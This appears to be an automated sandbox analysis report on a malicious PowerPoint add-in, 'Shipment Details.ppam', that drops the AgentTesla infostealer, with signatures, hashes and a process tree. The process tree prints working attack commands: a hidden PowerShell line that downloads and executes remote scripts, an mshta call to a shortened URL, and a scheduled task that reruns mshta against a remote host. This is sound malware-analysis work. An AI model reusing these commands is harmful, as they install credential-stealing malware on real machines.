Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    18-10-2021 06:46

General

  • Target

    Shipment Details.ppam

  • Size

    11KB

  • MD5

    a00323d66feb6d05cb3cfc28ff8c79a9

  • SHA1

    50cb3fa623e7a92553512d4b26f797ed23eab0e4

  • SHA256

    4fcca1bce2dd80a24a9def40ab28cc5197e8dd477c2ef77c4d47a19b73fa8bf1

  • SHA512

    1f2a0f55e62511f2e22c53d814e421f9eafc0d019496a2afd59bde15329a0fb0634bfee6117bd0649c745ceae2b288ea9f28b293dc57ea9a99064a7b06406aeb

Malware Config

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 2 IoCs
  • Blocklisted process makes network request 13 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Shipment Details.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3600
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" http://www.bitly.com/doaksoodwwdkkdwdasdwmdaweu
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:4448
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4452
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4436
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_8f22087a2c0740eba07c3aea05e107e7.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_959babd593ed4cd49dd3b6a0f1146d59.txt').GetResponse().GetResponseStream()).ReadToend());
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:884
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
          4⤵
            PID:2524
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
            4⤵
            • Drops file in Drivers directory
            • Accesses Microsoft Outlook profiles
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1752
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2hvkwtmj\2hvkwtmj.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4100
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD1C8.tmp" "c:\Users\Admin\AppData\Local\Temp\2hvkwtmj\CSC10DBE3C1498F43C28944EB5C19306313.TMP"
              5⤵
                PID:2248
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              4⤵
              • Drops file in Drivers directory
              • Accesses Microsoft Outlook profiles
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: SetClipboardViewer
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • outlook_office_path
              • outlook_win_path
              PID:3416
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
            dw20.exe -x -s 2664
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:676
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/13.html\""
            3⤵
            • Creates scheduled task(s)
            PID:376

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\2hvkwtmj\2hvkwtmj.dll

        MD5

        ed1192405ec77e6acf8fd910cba7443c

        SHA1

        e76764da8bca5608cbddb2de6d6d3fc29d3d5d77

        SHA256

        8c1fc6ea5dac7b5389d14bee2293a46409257b2034404fa27da0f8b3a434d604

        SHA512

        cb6253664fa61cec7e1f22404c65a031de2822ac6c5092dc90f99a0621ac870ab5bfa50f43f26cec784be30a36860c6be43aca871d01c8ef25b77e50d73bde6a

      • C:\Users\Admin\AppData\Local\Temp\RESD1C8.tmp

        MD5

        6729c16f6331782277303460067e126f

        SHA1

        4a9ce4870a1025821773c62fee6c3535f5c30763

        SHA256

        e1af5fa5890c3b5d66271c785a95a36586d70735b4c72c99d94c23283d1cf6a0

        SHA512

        c8caffd55c5651e75dc1bf3872b47e0fd9b0197bb3a8c1754eb3964e3256b4fe59a4c6560b5aeba2a06702cbced8aeae439c0cda067d78577d414a4bdc16a4f4

      • C:\Windows\system32\drivers\etc\hosts

        MD5

        5b2d17233558878a82ee464d04f58b59

        SHA1

        47ebffcad0b4c358df0d6a06ef335cb6aab0ab20

        SHA256

        5b036588bb4cad3de01dd04988af705da135d9f394755080cf9941444c09a542

        SHA512

        d2aec9779eb8803514213a8e396b2f7c0b4a6f57de1ee84e9db0343ee5ff093e26bb70e0737a6681e21e88898ef5139969ff0b4b700cb6727979bd898fdbc85b

      • \??\c:\Users\Admin\AppData\Local\Temp\2hvkwtmj\2hvkwtmj.0.cs

        MD5

        e03b1e7ba7f1a53a7e10c0fd9049f437

        SHA1

        3bb851a42717eeb588eb7deadfcd04c571c15f41

        SHA256

        3ca2d456cf2f8d781f2134e1481bd787a9cb6f4bcaa2131ebbe0d47a0eb36427

        SHA512

        a098a8e2a60a75357ee202ed4bbe6b86fa7b2ebae30574791e0d13dcf3ee95b841a14b51553c23b95af32a29cc2265afc285b3b0442f0454ea730de4d647383f

      • \??\c:\Users\Admin\AppData\Local\Temp\2hvkwtmj\2hvkwtmj.cmdline

        MD5

        f3362fcdbbdc3bf35841373892113dde

        SHA1

        7a771cb099290c3171b7ce0c6ec6544af5e2fb1d

        SHA256

        05e5289347191f9f031a41886fe2f240e71ab58c17ce4f6f659a032b94817608

        SHA512

        e4d97045ce25e935fdbc6239bc78cc7b8f037bd4a6b2fa7751af98a6808af71e76401c7ed751c32361299691aa0db4a0fd74a30909c006e44ad0de3e801ae9eb

      • \??\c:\Users\Admin\AppData\Local\Temp\2hvkwtmj\CSC10DBE3C1498F43C28944EB5C19306313.TMP

        MD5

        894bc0a26ef07cbe2d192926bede244e

        SHA1

        a72131f1b62e50c7682e567e9ff897db27bf8d6a

        SHA256

        0c487a11b87c1301a6c7ed60f529332761cbab1020151868f84c3807aec2beb2

        SHA512

        576cafd02afed25fbefdda820608f516bc6d913960ea26c22736c585cec3eb74de3d1319f1ed89688b734b93826d19ec1e8a935c24ceb0bc5b9220d13622cc6f

      • memory/376-295-0x0000000000000000-mapping.dmp

      • memory/676-297-0x0000000000000000-mapping.dmp

      • memory/884-302-0x000002673CF90000-0x000002673CF92000-memory.dmp

        Filesize

        8KB

      • memory/884-296-0x0000000000000000-mapping.dmp

      • memory/884-303-0x000002673CF93000-0x000002673CF95000-memory.dmp

        Filesize

        8KB

      • memory/884-317-0x000002673CF96000-0x000002673CF98000-memory.dmp

        Filesize

        8KB

      • memory/1752-404-0x00000000056B1000-0x00000000056B2000-memory.dmp

        Filesize

        4KB

      • memory/1752-322-0x000000000043755E-mapping.dmp

      • memory/1752-379-0x00000000056B0000-0x00000000056B1000-memory.dmp

        Filesize

        4KB

      • memory/2248-383-0x0000000000000000-mapping.dmp

      • memory/3416-406-0x0000000004E90000-0x000000000538E000-memory.dmp

        Filesize

        5.0MB

      • memory/3416-395-0x0000000004E90000-0x000000000538E000-memory.dmp

        Filesize

        5.0MB

      • memory/3416-389-0x000000000043755E-mapping.dmp

      • memory/3600-118-0x00007FFBD7680000-0x00007FFBD7690000-memory.dmp

        Filesize

        64KB

      • memory/3600-121-0x000001A3E7960000-0x000001A3E7962000-memory.dmp

        Filesize

        8KB

      • memory/3600-119-0x000001A3E7960000-0x000001A3E7962000-memory.dmp

        Filesize

        8KB

      • memory/3600-120-0x000001A3E7960000-0x000001A3E7962000-memory.dmp

        Filesize

        8KB

      • memory/3600-117-0x00007FFBD7680000-0x00007FFBD7690000-memory.dmp

        Filesize

        64KB

      • memory/3600-115-0x00007FFBD7680000-0x00007FFBD7690000-memory.dmp

        Filesize

        64KB

      • memory/3600-127-0x00007FFBD7680000-0x00007FFBD7690000-memory.dmp

        Filesize

        64KB

      • memory/3600-116-0x00007FFBD7680000-0x00007FFBD7690000-memory.dmp

        Filesize

        64KB

      • memory/4100-380-0x0000000000000000-mapping.dmp

      • memory/4436-290-0x0000000000000000-mapping.dmp

      • memory/4448-262-0x0000000000000000-mapping.dmp

      • memory/4452-288-0x0000000000000000-mapping.dmp